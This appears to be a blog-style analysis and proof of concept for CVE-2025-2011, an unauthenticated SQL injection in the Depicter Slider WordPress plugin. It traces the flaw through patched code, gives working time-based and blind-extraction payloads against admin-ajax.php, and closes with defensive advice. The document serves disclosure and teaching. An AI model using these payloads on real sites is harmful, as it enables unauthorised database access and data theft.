Contents

CVE-2025-2011 Analysis & POC

The vulnerability occurs in the Depicter Slider WordPress plugin prior to version 3.6.2. This could allow an attacker to directly interact with your database, potentially leading to data theft or manipulation.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Depicter Slider: v3.6.1 (vulnerable) and v3.6.2 (patched)
  • Diff tool: meld or any other comparison tool to visualize differences between versions

The root cause is that the application directly injects data from a GET request into the SQL query without proper sanitization or escaping.

Use any diff tool to compare the vulnerable and patched versions. A notable difference appears in app/src/Controllers/Ajax/LeadsAjaxController.php.

index, list, and export are three key functions inside the LeadsAjaxController class.

public function index(RequestInterface $request, $view)
{
    $args = [
        's'         => Sanitize::textfield($request->query('s', '')),
        // other logic
    ];

    $response   = \Depicter::lead()->get($args);
    $statusCode = isset($response['errors']) ? 400 : 200;

    return \Depicter::json($response)->withStatus($statusCode);
}
public function list(RequestInterface $request, $view)
{
    $args = [
        's'                => Sanitize::textfield($request->query('s', '')),
        // other logic
    ];

    $response = \Depicter::leadRepository()->getResults($args);

    return \Depicter::json($response);
}
public function export(RequestInterface $request, $view)
{
    $args = [
        's'                => Sanitize::textfield($request->query('s', '')),
        // other logic
    ];

    $response = \Depicter::leadRepository()->getResults($args);

    // other logic

    return \Depicter::json([
        'errors' => [__('error occurred during the export process', 'depicter')]
    ])->withStatus(400);
}

All three functions were patched by replacing Sanitize::textfield with Sanitize::sql, ensuring the 's' parameter is properly sanitized and SQL-escaped.

patch diff
Illustration of patched vs vulnerable code differences

To understand how textfield and sql functions behave, search for the keyword function textfield. They likely reside in the same file since both are called from the same class Sanitize.

If you have the PHP Intelephense Extension installed in VSCode, you can navigate directly to the function definition using Ctrl + Click.

search 1
Searching for textfield function in Sanitize class

textfield returns data sanitized by sanitize_text_field, while sql returns SQL-escaped data using esc_sql().

public static function sql( $input )
{
    return esc_sql( $input );
}

Since this is an unauthenticated vulnerability, we need to identify which of the three functions are called without any authentication mechanism. Once confirmed, we can trace deeper into the logic to verify potential SQL injection exploitation.

Searching directly by function names like index, list, or export may yield too many results. Instead, search for the class name LeadsAjaxController since all functions must be invoked through it.

search 2
Searching for LeadsAjaxController usage in source code

๐Ÿ‘‰ The LeadsAjaxController is used during Ajax route registration. When a request is sent to /wp-admin/admin-ajax.php?action=action_here&param1=..., WordPress maps the request via handle('LeadsAjaxController@function') to the corresponding method.

All three functions are invoked using the GET method, but export includes a csrf-api middleware, so we can exclude it. We’ll focus only on index and list.

When analyzing index, we see that $response calls \Depicter::lead()->get($args), which internally calls \Depicter::leadRepository()->getResults($args). This is the same logic as list, so list is our main tracing point.

public function list(RequestInterface $request, $view)
{
    $args = [
        's'                => Sanitize::textfield($request->query('s', '')),
        'ids'              => Sanitize::textfield($request->query('ids', '')),
        'sources'          => Sanitize::textfield($request->query('sources', '')),
        'dateStart'        => Sanitize::textfield($request->query('dateStart', '')),
        'dateEnd'          => Sanitize::textfield($request->query('dateEnd', '')),
        'order'            => Sanitize::textfield($request->query('order', 'DESC')),
        'orderBy'          => Sanitize::textfield($request->query('orderBy', 'id')),
        'page'             => Sanitize::int($request->query('page', 1)),
        'perPage'          => Sanitize::int($request->query('perpage', 10)),
        'columns'          => Sanitize::textfield($request->query('columns', '')),
        'includeFields'    => Sanitize::textfield($request->query('includeFields', false)),
        'skipCustomFields' => Sanitize::textfield($request->query('skipCustomFields', false))
    ];

    $response = \Depicter::leadRepository()->getResults($args);

    return \Depicter::json($response);
}

To understand how getResults executes its query, search for function getResults or use Ctrl + Click on getResults.

search 3
Definition of getResults function in LeadRepository class

๐Ÿ‘‰ Two getResults functions appear. Based on the class name LeadRepository and the leadRepository() function, itโ€™s likely that Depicter::leadRepository() returns an instance of LeadRepository. The correct function can be confirmed by checking the number of parameters.

The if condition shows that when includeFields is empty, getLeadsResults is called. Letโ€™s look at it:

protected function getLeadsResults( $args ){
    // Purpose of joining tables is being able to search in leadField values as well
    $leadTable = $this->lead()->getTable();
    $leads = Lead::new()->select(
        "{$leadTable}.id",
        "{$leadTable}.source_id",
        "{$leadTable}.content_id",
        "{$leadTable}.content_name",
        "{$leadTable}.created_at",
        "lf.name as fieldName",
        "lf.value as fieldValue"
    )->join( "{$this->leadField()->getTable()} AS lf", "{$leadTable}.id", "=", "lf.lead_id" );

    // other logic

    if( ! empty( $args['s'] ) ){
        $search = "'%". $args['s'] ."%'";
        $leads->appendRawWhere('AND', "( lf.value like {$search} OR {$leadTable}.content_name like {$search} )");
    }

    $results = $this->paginate( $leads, $args );
}

Here, the s parameter (which the patch protects) is concatenated directly into the query using appendRawWhere. Part of the resulting query would be:

AND (lf.value like '%s_here%' OR leadtable.content_name like '%s_here%')

๐Ÿ‘‰ Thus, when sending a GET request to /wp-admin/admin-ajax.php with parameters:

action=depicter-lead-index&s=payload_here
  • list is called with only the s parameter provided.
  • getResults receives $args.
  • The condition if( ! $args['includeFields'] ) triggers getLeadsResults.
  • The vulnerable SQL query executes, leading to SQL Injection.

Send a GET request with a time-based SQLi payload:

GET /wp-admin/admin-ajax.php?action=depicter-lead-list&s=999%25'+AND+(SELECT+1+FROM+(SELECT+SLEEP(5))a))+--+-+ HTTP/1.1
Host: localhost
...
Cookie: cookie_here

Decoded payload:

999%' AND (SELECT 1 FROM (SELECT SLEEP(5))a)) -- -

This makes part of the query:

AND (lf.value like '999%' AND (SELECT 1 FROM (SELECT SLEEP(5))a)) -- ' OR leadtable.content_name like '999%' AND (SELECT 1 FROM (SELECT SLEEP(5))a)) #')

response time
Response time showing the payload execution

๐Ÿ‘‰ The delayed response confirms the injection worked.

Subquery in FROM clause: The subquery acts as a temporary table, forcing MySQL to execute it first, delaying the main query execution.

To fully dump data, we must first confirm we can extract at least one character of the database name.

Send a request with the following SQLi payload:

GET /wp-admin/admin-ajax.php?action=depicter-lead-list&s=999%25'+AND+(SELECT+1+FROM+(SELECT+IF(SUBSTRING(SCHEMA(),1,1)=0x77,SLEEP(5),1))a))+--+-+ HTTP/1.1
Host: localhost
...
Cookie: cookie_here

SUBSTRING() extracts the first letter of the database name, and IF() triggers SLEEP(5) if the first character equals 0x77 ('w').

Hex encoding (0x77) is used because s originates from a GET parameter and is escaped by magic quotes and sanitize_text_field in WordPress.

๐Ÿ‘‰ The delayed response confirms the first character is indeed w.

The CVE-2025-2011 vulnerability in the WordPress Depicter Slider plugin (prior to version 3.6.2) arises from unvalidated user input being directly injected into SQL queries, leading to SQL Injection.

The patch introduces SQL escaping, ensuring injected data is safely encapsulated within '%...%' strings.

Key takeaways:

  • Always validate and sanitize user input.
  • Use $wpdb->prepare() when handling database queries in WordPress.
  • Keep plugins updated and conduct regular security audits to reduce exposure.

SQL Injection Cheat Sheet - PortSwigger

WordPress Depicter Slider Plugin <= 3.6.1 is vulnerable to SQL Injection

Related Content